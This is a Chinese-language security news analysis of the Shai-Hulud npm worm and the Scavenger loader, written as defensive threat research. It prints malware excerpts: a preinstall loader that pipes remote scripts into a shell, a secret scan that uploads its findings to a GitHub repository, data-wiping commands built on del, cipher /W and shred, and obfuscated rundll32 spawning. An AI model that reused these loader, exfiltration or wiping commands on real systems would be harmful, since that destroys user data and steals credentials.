摘要

本報告提供一份詳細的技術分析,探討涉及名為「Shai-Hulud」[1] 的進階惡意程式變種的廣泛 npm 供應鏈攻擊。此次攻擊的特點是其蠕蟲式的傳播、多階段的載入程序、廣泛的 Credential 蒐集能力,以及實施具高度破壞性的「dead man's switch」(死亡開關)。本分析聚焦於初始感染媒介、具備韌性的 Data 外傳網路,以及自保 Payload 的技術機制。此外,本研究透過將 Shai-Hulud 攻擊的技術與其他進階 npm 惡意程式(例如 Scavenger loader)進行比較 [2],來對其進行情境化分析,突顯出現代軟體供應鏈威脅中反分析(anti-analysis)和函式解析(function resolution)routine不斷演變的複雜性。

揭露!Shai-Hulud 供應鏈攻擊的蠕蟲式傳播與檔案系統掃描技術 | 資訊安全新聞

1. 簡介

軟體供應鏈攻擊已成為 Malicious Payload 的關鍵媒介,它們利用開發人員與所依賴的開源套件之間固有的信任。Node Package Manager (npm) 生態系由於其龐大的依賴數量,成為一個特別具吸引力的目標。Shai-Hulud 惡意程式攻擊的發現揭示了新的複雜程度,它不僅限於簡單的 Credential 竊取,還納入自主傳播和資料破壞機制,旨在嚇阻移除行動 [1]。本報告將剖析此威脅的技術組成,強調在開發生命週期中強化安全措施的必要性。

2. Shai-Hulud 攻擊的技術分析

2.1. 初始感染媒介與規避

此惡意軟體透過多階段載入程序啟動執行,該過程目的在隱藏和規避。受感染的套件會被修改,在它們的 package.json 檔案中加入惡意的 Entry Point,特別是利用 preinstall script 來執行名為 setup_bun.js 的 loader 檔案 [1]。這個檔案被精心製作以看似無害,聲稱要安裝合法的 Bun JavaScript runtime。使用 preinstall script 確保在套件安裝時執行,這是 npm 供應鏈攻擊中的常見技術。

setup_bun.js script 的主要功能是建立執行環境並啟動主要的 Payload。它會下載或找到 Bun runtime,然後執行捆綁的 bun_environment.js ,這是一個龐大且經過高度混淆的檔案 (約 10MB) [1]。將看似良善的小型 loader 與龐大且經過混淆的 Payload 分離,是一個關鍵的規避策略,使初始階段較不容易被靜態分析工具標記。loader 的核心邏輯如下所示:

  1. // This file gets added to victim's packages as setup_bun.js
  2. #!/usr/bin/env node
  3. async function downloadAndSetupBun() {
  4. // Downloads and installs bun
  5. let command = process.platform === 'win32'
  6. ? 'powershell -c "irm bun.sh/install.ps1|iex"'
  7. : 'curl -fsSL https://bun.sh/install | bash';
  8. execSync(command, { stdio: 'ignore' });
  9. // Runs the actual malware
  10. runExecutable(bunPath, ['bun_environment.js']);
  11. }

2.2. Credential 蒐集與檔案系統掃描

一旦執行,此惡意程式會立即在受感染的系統上展開對敏感 Credential 的全面搜尋。這包括針對 GitHub、npm、AWS、GCP 和 Azure 等主要平台的 Token [1]。此惡意程式會積極搜尋環境變數、設定檔案 (例如 .npmrc ) 和 metadata 服務。

一個值得注意的特色是利用合法的資安工具 Trufflehog 進行深度檔案系統掃描 [1]。這使得此惡意程式能夠在使用者根目錄的原始碼、設定檔案或 Git history 中發現隱藏的 Secrets。被竊取的 Data 隨後會準備進行外傳。

  1. async function scanFilesystem() {
  2. let scanner = new Trufflehog();
  3. await scanner.initialize();
  4. // Scan user's home directory for secrets
  5. let findings = await scanner.scanFilesystem(os.homedir());
  6. // Upload findings to exfiltration repo
  7. await github.saveContents("truffleSecrets.json",
  8. JSON.stringify(findings));
  9. }

2.3. 具備韌性的外傳網路與傳播

Shai-Hulud 惡意程式利用竊取的 GitHub Token 建立一個具備韌性的 botnet 式外傳網路。它會建立帶有特定描述:「Sha1-Hulud: The Second Coming」的公開 GitHub repository。這些 repository 作為被竊取的 Credential 和系統資訊的接收箱(dropbox) [1]。

網路的韌性是透過Token共享機制實現的。如果新受感染系統竊取的 GitHub Token 缺乏足夠的權限,此惡意程式會利用識別標記(identifying marker)在 GitHub 上搜尋其他被感染的 repository。接著,它會嘗試取得由其他受感染系統儲存的 Token,確保持續存取外傳基礎設施 [1]。此機制對於維持攻擊的持久性和分散式控制至關重要。

此外,此惡意程式展現出蠕蟲式傳播行為。利用竊取的 npm Token,它會下載受害者維護的所有套件,將 setup_bun.js loader 注入到它們的 preinstall script 中,增加版本號,然後將受感染的套件重新發布到 npm [1]。這個自動化程序迅速擴大了攻擊的範圍。

3. Dead Man's Switch:破壞性 Payload

Shai-Hulud 惡意程式最令人不安的特色是它的「dead man's switch」,這是一種破壞性 Payload,目的在保護攻擊者的基礎設施免受移除行動的影響 [1]。此惡意程式持續監控它對 GitHub (用於外傳) 和 npm (用於傳播) 的存取。如果一個受感染的系統同時失去對這兩個通道的存取—這種情境暗示著協同的移除行動—它會觸發在受感染機器上立即破壞資料 [1]。

在 Windows 系統上,Payload 嘗試刪除所有使用者檔案並使用 cipher /W 覆蓋磁碟區。在 Unix 系統上,它採用 shred utility 在刪除前覆蓋檔案,使得復原幾乎不可能。此機制為資安應變人員製造了危險的兩難局面:大規模移除攻擊者的基礎設施可能導致數千台受感染機器上的使用者資料同時被銷毀。

  1. // CRITICAL: Token validation failure triggers destruction
  2. async function aL0() {
  3. // ... (Authentication checks) ...
  4. // DESTRUCTION TRIGGER: No GitHub AND no NPM access
  5. if (!fetchedToken && !npmToken) {
  6. console.log("Error 12");
  7. if (platform === "windows") {
  8. // Attempts to delete all user files and overwrite disk sectors
  9. Bun.spawnSync(["cmd.exe", "/c",
  10. "del /F /Q /S \"%USERPROFILE%*\" && " +
  11. "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
  12. "cipher /W:%USERPROFILE%" // Overwrite deleted data
  13. ]);
  14. } else {
  15. // Attempts to shred all writable files in home directory
  16. Bun.spawnSync(["bash", "-c",
  17. "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
  18. "xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
  19. "find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
  20. ]);
  21. }
  22. process.exit(0);
  23. }
  24. }

4. 攻擊流程圖

Shai-Hulud 攻擊從初始感染到破壞性 Payload 的整體流程,可視覺化如下:

graph TD     A[Compromised
NPM Package] --> B{Victim
Installs Package};     B --> C[package.json:
preinstall script];     C --> D[Execute
setup_bun.js];     D --> E{Masquerade
as Bun Installer};     E --> F[Download/Locate
Bun Runtime];     F --> G["Execute
bun_environment.js
(Obfuscated Payload)"];     G --> H[Credential Harvesting];     H --> I["Filesystem Scan
(Trufflehog)"];     H --> J["Token Search
(GitHub, npm, Cloud)"];     I --> K[Stolen Data];     J --> K;     K --> L[Exfiltration Network];     L --> M[Create GitHub Repo
with Marker];     L --> N[Share Tokens
with Other
Infected Systems];     G --> O{Dead Man's Switch
Active};     O --> P{Loss of
GitHub/npm
Access?};     P -- Yes --> Q[Trigger Data
Destruction];     P -- No --> G;     Q --> R[shred/cipher
User Data];        

5. 進階規避與 Scavenger 惡意程式的比較

Shai-Hulud 攻擊雖然高度複雜,但與其他進階 npm 供應鏈威脅(例如 Scavenger 惡意程式 [2])共享相似之處。分析這些共享的技術揭示了反分析和函式解析 routine 複雜度增加的趨勢。

5.1. 混淆與多階段載入

Shai-Hulud 和 Scavenger 都利用多階段載入和混淆來規避偵測。Shai-Hulud 使用看似合法的 setup_bun.js loader 來執行一個龐大且經過混淆的 Payload [1]。類似地,Scavenger 惡意程式在其 install.js 檔案中利用字串串聯來隱藏函式呼叫 (例如 'chi' + 'ld_pro' + 'cess' ),然後透過 rundll32.exe 執行惡意的 DLL [2]。這種被稱為字串分割(string splitting)的技術,是一種簡單但有效的方法,可以繞過靜態簽章式的偵測。

  1. // Scavenger Malware Obfuscation Example [2]
  2. require('chi' + 'ld_pro' + 'cess')['sp' + 'awn'](
  3. "rund" + "ll32",
  4. [path.join(__dirname, './node-gyp' + '.dll'), 'main']
  5. );

5.2. 反分析與函式 Hashing

Scavenger loader 展示了進階的反分析技術,這預示著惡意程式開發的最新技術(state-of-the-art)。它採用多重檢查來偵測虛擬化環境 (VMware, QEMU) 和資安產品的存在 (例如 Avast, Sandboxie) [2]。如果任何檢查成功,loader 會透過故意觸發空指標例外(null-pointer exception)來自我終止,這是一種用於挫敗自動化分析系統的策略 [2]。

此外,Scavenger 採用一種高度進階的方法來解析 API 函式位址,繞過傳統的匯入位址表 (Import Address Table, IAT) [2]。相反,它使用客製化的 CRC32 hashing routine 來動態定位所需的函式。這個程序涉及讀取惡意程式自己的 Process Environment Block (PEB),透過 InMemoryOrderModuleList 來列舉載入的 DLL [2]。以下組合語言程式碼說明了存取 PEB 和 loader 資料結構的初始步驟:

  1. // Assembly Snippet for PEB/LDR Access [2]
  2. mov rax, qword [gs:0x60] // Get PEB pointer via gs register
  3. mov qword [rel g_peb], rax
  4. mov rax, qword [rel g_peb]
  5. mov rax, qword [rax+0x18 { PEB::Ldr}]
  6. // ...
  7. add rax, 0x20 { PEB_LDR_DATA::InMemoryOrderModuleList} // Load InMemoryOrderModuleList structure pointer
  8. // ...

透過計算 DLL 和函式名稱的客製化 CRC32 hash,並將其與預先計算的值進行比對,此惡意程式可以動態解析函式位址。這項技術顯著複雜化了靜態分析和逆向工程的努力,是對偵測此類威脅的重大挑戰。

6. 結論

Shai-Hulud npm 供應鏈攻擊代表了針對開源生態系的惡意程式在複雜度和破壞潛力上的重大升級。它結合了蠕蟲式傳播、具備韌性的外傳網路,以及獨特的「dead man's switch」機制,對開發人員和組織構成了嚴重威脅。在 Shai-Hulud 中觀察到的技術複雜性,與Scavenger 等可比威脅中先進的反分析和函式 hashing routine 相呼應,突顯了對穩健供應鏈安全實務的迫切需求,包括嚴格的依賴審計、完整性檢查,以及對套件安裝 script 的行為分析。破壞性 Payload 與基礎設施移除行動掛鉤,凸顯了資安研究人員與 Malicious Payload 之間貓捉老鼠遊戲中的新的、危險的動態。